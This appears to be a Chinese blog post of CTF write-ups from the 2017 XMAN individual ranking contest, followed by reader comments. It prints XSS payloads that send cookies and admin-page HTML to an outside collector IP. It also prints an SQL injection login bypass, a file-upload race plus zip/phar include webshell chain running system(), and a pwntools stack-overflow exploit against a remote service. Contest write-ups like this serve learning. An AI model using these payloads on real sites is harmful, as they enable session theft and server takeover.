[XMAN]个人排位赛

作者: 王一航 | 来源:发表于2017-08-08 22:19 被阅读486次

    XSS1

    经过测试发现 :
    单引号替换成了下划线
    
    #!/usr/bin/env python
    # encoding: utf-8
    
    import hashlib
    import random
    import sys
    import string
    
    def m(content):
        return hashlib.md5(content).hexdigest()
    
    def main():
        start = sys.argv[1]
        while True:
            content = ""
            for i in range(0x08):
                content += random.choice(string.letters)
            print "[-] [%s]" % (content)
            if m(content).startswith(start):
                print "[+] Found : [%s]" % (content)
                break
    
    
    if __name__ == "__main__":
        main()
    
    // 根据大佬的ppt中的绕过 csp 的 payload , 可以直接利用
    <script>
    var n0t = document.createElement("link");
    n0t.setAttribute("rel", "prefetch");
    n0t.setAttribute("href", "//123.207.40.26:65534/?c=" + document.cookie);
    document.head.appendChild(n0t);
    </script>
    
    image.png

    admin=xman{eVEn_CSP_you_G37_mY_C00K1e}


    Login

    先扫一波目录
    SourceLeakHacker ›› python SourceLeakHacker.py http://202.112.51.217:8099/ 32 32
     [ 200 ]  Checking : http://202.112.51.217:8099/index.php
     [ 200 ]  Checking : http://202.112.51.217:8099/
     [ 403 ]  Checking : http://202.112.51.217:8099/.htaccess
     [ 403 ]  Checking : http://202.112.51.217:8099/.hta
     [ 403 ]  Checking : http://202.112.51.217:8099/.htpasswd
     [ 200 ]  Checking : http://202.112.51.217:8099/css/
     [ 200 ]  Checking : http://202.112.51.217:8099/fonts/
     [ 403 ]  Checking : http://202.112.51.217:8099/icons/
     [ 200 ]  Checking : http://202.112.51.217:8099/index.php/
     [ 200 ]  Checking : http://202.112.51.217:8099/js/
     [ 403 ]  Checking : http://202.112.51.217:8099/server-status/
    
    image.png

    查看源码 , 发现如下信息 :

    if ($result!=null&&$result->rowCount()==1){
        echo $flag;
    }
    

    我们只需要控制 sql 语句让结果集不为空而且长度大于 0 即可

    payload 为 : username=admin'%23&password=xman
    XMAN{B4by_SqL1_w1th_L1mit}
    

    protocol

    据大佬说用 AWVS 可以扫出心脏滴血漏洞
    在 AWVS 的漏洞报告里面就有 leak 出的内存数据
    leak出来的内存中就有类似 post 数据的用户密码
    然后直接登录就可以得到 flag
    

    Misc150

    首先把 gif 图片分帧
    然后写脚本跑一下即可得到二进制的字符串

    #!/usr/bin/env python
    # encoding: utf-8
    
    from PIL import Image
    
    Im = Image.new("L", (400, 400))
    
    def average(im):
        height = im.size[0]
        width = im.size[1]
        s = 0
        for i in range(height):
            for j in range(width):
                s += im.getpixel((i,j))[0]
        result = s / (height * width)
        print "[+] [%d]" % (result)
        return result
    
    result = ""
    for i in range(304):
        filename = "IMG%05d.bmp" % (i)
        im = Image.open(filename)
        if average(im) > 127:
            result += "0"
        else:
            result += "1"
        print result
    
    Im.save("result.bmp")
    
    image.png

    baby web

    image.png

    存在文件包含漏洞 , 可以使用 php://filter 结合 base64-encode 的 converter 在文件包含之前将文件内容过滤一遍
    这样在包含 php 文件的时候 base64 就已经不是符合 php 语法规范的了
    在 php 解析的时候会将这些内容作为 dataStatus 的内容直接显示出来

    image.png

    下面是读取到的源码 :

    // index.php
    <?php
        require("header.php");
        $page="";
        if (isset($_GET['page']))
        {
            $page=strtolower($_GET['page']);
            $page=str_replace("#", "", $page);
            $page=str_replace("'", "", $page);
            $page=$page.".php";
        }
        else
            $page="main.php";
        include($page);
    ?>
    
    
    // upload
    <html lang="zh-CN">
      <head>
        <meta charset="utf-8">
    <?php
    $error=$_FILES['pic']['error'];
    $tmpName=$_FILES['pic']['tmp_name'];
    $name=$_FILES['pic']['name'];
    $size=$_FILES['pic']['size'];
    $type=$_FILES['pic']['type'];
    try{
        if($name!=="")
        {
            $name1=substr($name,-4);
            if(($name1!==".gif") and ($name1!==".jpg"))
            {
                echo "hehe";
                echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
                exit;
            }
            if($type!=="image/jpeg"&&$type!=="image/gif")
            {
                //echo mime_content_type($tmpName);
                echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
                exit;
            }
            if(is_uploaded_file($tmpName)){
                $time=time();
                $rootpath='uploads/'.$time.$name1;
                if(!move_uploaded_file($tmpName,$rootpath)){
                    echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
                    exit;
                }
                else{
                    sleep(2);               
                    if ($type=='image/jpeg')
                    {
                        $im = @imagecreatefromjpeg($rootpath);
                        if(!$im){
                          $im = imagecreatetruecolor(150, 30);
                          $bg = imagecolorallocate($im, 255, 255, 255);
                          $text_color = imagecolorallocate($im, 0, 0, 255);
                          imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                          imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                        } else {
                            $time=time();
                            $new_rootpath='uploads/'.$time.$name1;
                            imagejpeg($im,$new_rootpath);
                            imagedestroy($im);
                        }
                    }
                    else if ($type=='image/gif')
                    {
                        $im = @imagecreatefromgif($rootpath);
                        if(!$im){
                          $im = imagecreatetruecolor(150, 30);
                          $bg = imagecolorallocate($im, 255, 255, 255);
                          $text_color = imagecolorallocate($im, 0, 0, 255);
                          imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                          imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                        } else {
                            $time=time();
                            $new_rootpath='uploads/'.$time.$name1;
                            imagegif($im,$new_rootpath);
                            imagedestroy($im);
                        }
                    }
                    unlink($rootpath);
                }
            }
            echo "图片ID:".$time;
        }
    }
    catch(Exception $e)
    {
        echo "ERROR";
    }
    //
     ?>
     </html>
    
    根据对 upload.php 的审计
    
    首先前面两个对文件的后缀名和文件类型判断的条件都可以很容易就绕过
    因为他们事实上获取到的是客户端可控的数据 , 只需要在客户端修改发送的 http 请求包即可
    
    可以发现这里存在一个非常可疑的一点 : 
    在移动 tmp 文件到 uploads 目录下的之后 , 调用了 sleep 函数睡了两秒
    这里在这两秒钟之内这个文件是存在于服务器上的
    
    
    if(is_uploaded_file($tmpName)){
        $time=time();
        $rootpath='uploads/'.$time.$name1;
        if(!move_uploaded_file($tmpName,$rootpath)){
            echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
            exit;
        }
        else{
            sleep(2);               
            if ($type=='image/jpeg')
            {
                $im = @imagecreatefromjpeg($rootpath);
                if(!$im){
                  $im = imagecreatetruecolor(150, 30);
                  $bg = imagecolorallocate($im, 255, 255, 255);
                  $text_color = imagecolorallocate($im, 0, 0, 255);
                  imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                  imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                } else {
                    $time=time();
                    $new_rootpath='uploads/'.$time.$name1;
                    imagejpeg($im,$new_rootpath);
                    imagedestroy($im);
                }
            }
            else if ($type=='image/gif')
            {
                $im = @imagecreatefromgif($rootpath);
                if(!$im){
                  $im = imagecreatetruecolor(150, 30);
                  $bg = imagecolorallocate($im, 255, 255, 255);
                  $text_color = imagecolorallocate($im, 0, 0, 255);
                  imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                  imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                } else {
                    $time=time();
                    $new_rootpath='uploads/'.$time.$name1;
                    imagegif($im,$new_rootpath);
                    imagedestroy($im);
                }
            }
            unlink($rootpath);
        }
    }
    
    只要我们可以在这两秒之内拿到文件名即可将其包含 , 触发文件包含漏洞
    现在的问题在于如何获得文件名
    经过扫描目录发现这里 uploads 目录是可以列目录的
    这个是因为管理员在配置 apache 的时候 , apache 的虚拟主机的配置文件没有配置正确
    在 Linux 下 , 这个配置文件在 : /etc/apache2/apache2.conf
    具体内容如下 : 
    
    image.png
    <Directory /var/www/>
            Options FollowSymLinks Indexes
            AllowOverride ALL
            Require all granted
    </Directory>
    

    参考资料 : http://www.ducea.com/2006/06/26/apache-tips-tricks-disable-directory-indexes/

    image.png image.png

    然后我们就可以写脚本去获取最新产生的文件名
    脚本如下 :

    #!/usr/bin/env python
    # encoding: utf-8
    
    import requests
    
    url = "http://202.112.51.217:8199/uploads/"
    
    response = requests.get(url)
    
    content = response.content
    
    files = []
    for line in content.split("\n"):
        if "href=" in line:
            files.append(line.split("href=\"")[1].split("\">")[0])
    
    print files[-1]
    

    获取到了之后再去使用文件包含漏洞去包含这个文件即可
    但是这里有一个需要注意的一点 :
    index.php 的 page 参数后添加 .php
    因此需要使用 php 的 zip 协议去包含这个文件
    关于 zip 协议可以参考 :

    http://php.net/manual/en/wrappers.compression.php

    image.png

    所以我们可以先新建一个 php 文件 , 写入一句话木马
    然后将其打包成压缩包 , 再将其后缀名修改成 jpg 或者 gif
    最后上传
    然后在包含这个文件的时候 , page 参数添加上后面的 .php 就会变成 :

    zip://uploads/filename.jpg#webshell.php
    

    这里放出利用脚本 :

    upload.py

    #!/usr/bin/env python
    # encoding: utf-8
    
    import requests
    
    url = "http://202.112.51.217:8199/upload.php"
    
    data = {
        'title': 'admin',
        'url': 'admin'
    }
    
    files = {'pic': ('xman.jpg', open("filename.zip").read(), 'image/jpeg')}
    # 这里使用 requests 库来上传文件有几种方式
    # 这种方式可以控制文件名以及文件类型
    # 可以用来绕过基于客户端的文件名和文件类型检测
    
    response = requests.post(url, data=data, files=files)
    content = response.content
    print content
    

    include.py

    #!/usr/bin/env python
    # encoding: utf-8
    
    import requests
    
    url = "http://202.112.51.217:8199/uploads/"
    
    response = requests.get(url)
    
    content = response.content
    
    files = []
    for line in content.split("\n"):
        if "href=" in line:
            files.append(line.split("href=\"")[1].split("\">")[0])
    
    filename = files[-1]
    url = "http://202.112.51.217:8199/index.php?page=php://filter/read=convert.base64-decode/resource=phar://uploads/"+filename+"/b&c=system('head *');"
    print requests.get(url).content
    
    total 56
    drwxr-xr-x 14 root root 4096 Aug  8 02:41 .
    drwxr-xr-x  8 root root 4096 Aug  7 15:30 ..
    drwxrwxr-x  2 root root 4096 Aug  8 02:41 css
    drwxrwxr-x  2 root root 4096 Aug  8 02:41 fonts
    -rw-rw-r--  1 root root 1688 Aug  6 02:45 header.php
    -rw-rw-r--  1 root root  265 Aug  7 15:52 index.php
    drwxrwxr-x  2 root root 4096 Aug  8 02:41 js
    -rw-rw-r--  1 root root 2714 Mar 20  2016 main.php
    -rw-rw-r--  1 root root  470 Apr  1  2016 show.php
    -rw-rw-r--  1 root root 2377 Mar 20  2016 submit.php
    -rw-rw-r--  1 root root 2205 Aug  8 01:47 upload.php
    drwxrwxrwx  2 root root 4096 Aug  8 04:04 uploads
    -rw-rw-r--  1 root root  707 Mar 20  2016 view.php
    -rw-rw-r--  1 root root   44 Aug  7 14:36 xxxxxxxxxasdasf_flag.php
    
    
    <?php
        $flag="XMAN{Rush_Rush_oo000}";
    ?>
    XMAN{Rush_Rush_oo000}
    

    MISC 100

    1. zip伪加密
    2. 得到一个 png , binwalk -e 直接解压 , 然后直接查看解压出的数据即可得到 flag
    XMAN{Png_HIde_sEcret}
    

    Xor

    这个题目使用了一种比较笨的方法做出来了
    思路是下断点到最后判断用户输入是否正确的 if 语句
    动态调试 , 分别得到 eax 的两个值 , 将这两个值异或之后就得到了flag的一个字节
    然后直接一个字节一个字节动态调试就可以还原出整个 flag
    我觉得整个题目应该是可以直接使用 idc 的脚本
    或者 ida-python 的脚本直接就可以跑出来
    如果有哪位好心的大佬会的话求告知 , 感谢 orz

    XMAN{X0r_iS_Easy_Hahaha}
    
    image.png image.png

    XSS2 :

    <script>
    var n0t = document.createElement("link");
    n0t.setAttribute("rel", "prefetch");
    n0t.setAttribute("href", "//123.207.40.26:65534/?c="+document.getElementsByTagName('html')[0].innerHTML);
    document.head.appendChild(n0t);</script>
    
    <script>
    function get(){
    content=document.getElementById("wangyihang").innerHTML;
    var n0t = document.createElement("link");
    n0t.setAttribute("rel", "prefetch");
    n0t.setAttribute("href", "//123.207.40.26:65534/?c="+content);
    document.head.appendChild(n0t);
    }
    </script>
    <iframe src="admin.php" onload="get()" id="wangyihang"></iframe>
    
    <script>
    var n0t = document.createElement("link");
    n0t.setAttribute("rel", "prefetch");
    n0t.setAttribute("href", "//123.207.40.26:65534/?c="+document.getElementsByTagName('html')[0].innerHTML);
    document.head.appendChild(n0t);</script>
    
    <script>
    function get(){
    i=document.frames["wangyihang"];
    console.log(i.document.innerHTML);
    }
    </script>
    <iframe src="http://baidu.com/" onload="get()" name="wangyihang"></iframe>
    
    <script>
    var n0t = document.createElement("link");
    n0t.setAttribute("rel", "prefetch");
    n0t.setAttribute("href", "//123.207.40.26:65534/?c="+document.body);
    document.head.appendChild(n0t);</script>
    

    document.getElementsByTagName('html')[0].innerHTML;

    <script>
    function get(){
    ifr=document.getElementById("wangyihang").contentWindow
    var n0t = document.createElement("link");
    n0t.setAttribute("rel", "prefetch");
    n0t.setAttribute("href", "//123.207.40.26:65534/?c="+escape(ifr.document.getElementsByTagName("html")[0].innerHTML));
    document.head.appendChild(n0t);
    }</script>
    <iframe src="admin.php" onload="get()" id="wangyihang"></iframe>
    
    <script>
    function get(){
    ifr=document.getElementById("wangyihang").contentWindow
    var n0t = document.createElement("link");
    n0t.setAttribute("rel", "prefetch");
    n0t.setAttribute("href", "//123.207.40.26:65534/?d="+escape(window.top.document.cookie));
    document.head.appendChild(n0t);
    }</script>
    <iframe src="admin.php" onload="get()" id="wangyihang"></iframe>
    
    <script>
    function get(){
    ifr=document.getElementById("wangyihang").contentWindow
    var n0t = document.createElement("link");
    n0t.setAttribute("rel", "prefetch");
    n0t.setAttribute("href", "//123.207.40.26:65534/?d="+escape(window.top.document.cookie));
    document.head.appendChild(n0t);
    }</script>
    <iframe src="admin.php" onload="get()" id="wangyihang"></iframe>
    
    <script>
    window.location="http://123.207.40.26:65534/?f=";
    function get(){
    ifr=document.getElementById("wangyihang").contentWindow
    var n0t = document.createElement("link");
    n0t.setAttribute("rel", "prefetch");
    n0t.setAttribute("href", "//123.207.40.26:65534/?c="+escape(ifr.document.getElementsByTagName("html")[0].innerHTML)+"&d="+ifr.document.cookie);
    document.head.appendChild(n0t);
    }</script>
    <iframe src="admin.php" onload="get()" id="wangyihang"></iframe>
    
    <iframe src="javascript:i=document.createElement('iframe');i.src='admin.php';i['onlo'+'ad']=function(){parent.window['locat'+'ion'].href='http://123.207.40.26:65534/?ddd='+escape(this.contentWindow.document.cookie)};document.body.append(i)"</iframe>
    
    <iframe src=javascript:i=document.createElement("iframe");i.src="admin.php";i["onlo"+"ad"]=function(){parent.window["locat"+"ion"].href="http://123.207.40.26:65534/?ddd="+escape(this.contentWindow.document.cookie)};document.body.append(i)>
    </iframe>
    
    <script src="./js/jquery.min.js"></script>
    <script>
        $.get("http://202.112.51.217:43426/flag.php", function(data){
            window.location.href="http://123.207.40.26:65534/?="+data;
        })
    </script>
    

    尝试了好多 payload 结果发现死活不能得到管理员的 cookie , 最后根据 hint 得到 存在 flag.php
    想到管理员如果去访问 flag.php 是可以直接访问得到 flag 的
    所以最终的 payload 是先引入 jquery , 然后直接使用 get 方法让管理员去访问 flag.php 然后再将得到的结果发送到 xss 平台即可

    image.png
    xman{OH_Y0u_G37_mY_secreT_F14G!}
    

    维吉尼亚

    直接用一个很叼的在线网站去解 , 连秘钥都不需要
    暂时不太清楚这个网站的原理 , 简直神奇

    www.guballa.de

    image.png
    XMAN{CLASSICCRYPTOGRAPHYISEASYTOBREAK}
    

    easy heap

    #!/usr/bin/env python
    
    from pwn import *
    offset = 56
    
    # p = process('./easyheap')
    p = remote('202.112.51.217' , 24598)
    
    p.recvuntil('name?\n')
    p.sendline('1')
    p.recvuntil('choice : ')
    p.sendline('1')
    p.recvuntil('Name:\n')
    p.sendline('1')
    p.recvuntil('choice : ')
    p.sendline('3')
    p.recvuntil('info:\n')
    address = 0x400766
    payload = 'a' * offset + p64(address)
    p.sendline(payload)
    p.recvuntil('choice : ')
    p.sendline('2')
    p.interactive()
    
    image.png

    藏了一个 /bin/sh 直接栈溢出覆盖到返回地址即可

    XMAN{cie3rejo0muash0phieno8ohThipae6x}
    

    木头人 :

    23731263
    111628163518122316391715262121
    
    23 x
    73 m
    12 a
    63 n
    
    11 q
    16 y
    28 k
    16 y
    35 b
    18 i
    12 w
    23 d
    16 y
    39 .
    17 u
    15 t
    26 h
    21 a
    21 a
    
    xman{qykybiwdy.uthaa} ???
    有个比较坑的一点是 { } 这两个字符在键盘坐标中的横坐标是两位数
    

    相关文章

      网友评论

      • 北斗贰:🦄拿到手机 先看看航神的更新👍
      • 9dbbd0f5d8dd:大佬的xss平台是自己搭的吗?开源的吗?求分享一下
        王一航: @碎雪机器人 firesun大佬的xss平台
        Pino_HD:可以自己搞一个vps就好了
      • 2mpossible:师傅easyheap那题是堆溢出 ...
        王一航:@Switch_mao 啊好像是...原谅我不是很懂pwn...
        2mpossible:@王一航 malloc是生成堆 buf堆溢出到role_name+8的位置 将打印hello_world的函数替换成system(/bin/sh)
        王一航: @Switch_mao 诶不是栈溢出跳到 /bin/sh
      • 2mpossible:大佬666
      • Pr0ph3t:膜师傅!祝新加坡旅途愉快!
        王一航: @Pr0ph3t 谢谢啦😘😘😘

      本文标题:[XMAN]个人排位赛

      本文链接:https://www.haomeiwen.com/subject/coozlxtx.html